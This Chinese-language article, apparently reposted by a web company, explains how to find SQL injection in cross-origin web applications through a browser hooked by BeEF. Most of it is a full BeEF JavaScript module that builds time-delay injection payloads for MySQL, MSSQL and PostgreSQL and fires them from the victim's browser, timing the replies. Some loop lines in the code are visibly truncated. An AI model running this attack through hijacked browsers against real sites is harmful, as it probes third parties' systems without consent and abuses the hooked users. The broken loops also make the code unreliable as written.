SOP会阻止读取跨域XMLHttpRequest的响应体,因而在勾连浏览器上发现基于错误的SQLi并不现实。此时,可以利用跨域响应计时,以及基于时间的SQL注入。这样就可以看到跨域SQL注入的结果,从而发现并利用SQL注入漏洞。那么具体该如何操作呢?下面请看南昌网络公司小编为大家详细讲解一下:
执行下面的代码可以使用时间延迟,以发现跨域Web应用中的SQLi漏洞。这段代码目前支持可以通过GET请求访问的资源,而要修改成支持POST请求的资源也很简单。
另外,目前只支持MySQL、PostgreSQL和MSSQL,因为只有它们有时间延迟的SQL语句。正如Chema Alonso所演示的19,即使是耗时的查询也可以感知到时间延迟。同样,因为Oracle支持发送HTTP和DNS请求的功能,所以还可以进行相应的确认:
beef.execute(function() {
// 以秒计的延迟
var delay = '<%= @delay %>';
// 目标主机/端口
var host = '<%= @host %>';
var port = '<%= @port %>';
// 要扫描的目标URL
var uri = '<%= @uri %>';
// 要扫描的URL参数,格式为:key=value
var param = '<%= @parameter %>';
/*需要处理主要注入的向量
* 如果有嵌套的JOIN需要额外的括号
* param和delay是占位符,
* 稍后会在create_vector()中替换
*/
var vectors = [
"param AND delay", "param' AND delay",
"param) AND delay", "param AND delay --",
"param' AND delay --", "param) AND delay --",
"param AND delay AND 'rand'='rand",
"param' AND delay AND 'rand'='rand",
"param' AND delay AND ('rand'='rand",
"param; delay --"
];
var db_types = ["mysql", "mssql", "postgresql"];
var final_vectors = [];
/* 每个DB都有不同的延迟语句
function create_vector(vector, db_type){
var result = "";
if(db_type == "mysql")
result = vector.replace("param",param)
.replace("delay","SLEEP(" + delay + ")");
if(db_type == "mssql")
result = vector.replace("param",param)
.replace("delay","WAITFOR DELAY '0:0:" + delay + "'");
if(db_type == "postgresql")
result = vector.replace("param",param)
.replace("delay","PG_SLEEP(" + delay + ")");
console.log("Vector before URL encoding: " + result);
return encodeURI(result);
}
// 根据支持数据库替换param和delay占位符
function populate_global_vectors(){
for(var i=0;i
var db_type = db_types[i];
for(var e=0;e
final_vectors.push(create_vector(vectors[e], db_type));
}
}
}
var vector_index = 0;
function next_vector(){
result = final_vectors[vector_index];
vector_index++;
return result;
}
var send_interval;
var successfulVector = "";
function sendRequests(){
var vector = next_vector();
var url = uri.replace(param, vector);
beef.net.forge_request("http", "GET", host, port, url,
null, null, null, delay + 2, 'script', true, null,
function(response){
// 如果XHR响应延迟,停止进程
// 因为某个successfulVector已被发现
if(response.duration >= delay * 1000){
successfulVector = url;
console.log("Response delayed with vector [" +
successfulVector + "]");
clearInterval(send_interval);
}
});
}
// 创建所有向量
populate_global_vectors();
/* 确定正常的响应时间,并且调整请求之间的延迟
*(基准响应时间 +500 ms) */
var response_time;
beef.net.forge_request("http", "GET", host, port, uri,
null, null, null, delay + 2, 'script', true, null,function(response){
response_time = response.duration;
send_interval = setInterval(function(){
sendRequests()},response_time + 500); //can be adjusted
});
});
把前面的代码注入勾连浏览器之后,会调用populate_global_vectors(),并根据支持的数据库类型和向量数组中的载荷,来创建攻击向量。这里的载荷并不完整,但对大多数攻击来说已经足够了。你可以根据自己的需求再进行添加,比如增加更多括号或使用不同的布尔关键字,以涵盖嵌套的联结或非常复杂的查询。
攻击的下一步是发送不带任何攻击向量的请求,以监控常规响应时间。这样才能有依据地对后续攻击向量作出调整,因为目标可能对常规请求都会花几秒才响应。确定了基准响应时间后,通过sendRequests()函数发送所有可用的攻击向量。每个XHR请求在处理后,都会有回调函数在响应到达后检测响应时间。如果响应时间等于或大于注入的延迟,则说明注入成功,并可以确认存在基于时间的SQLi漏洞。在图1和图2中,可以看到通过BeEF在勾连浏览器中注入代码后,内部发生了什么。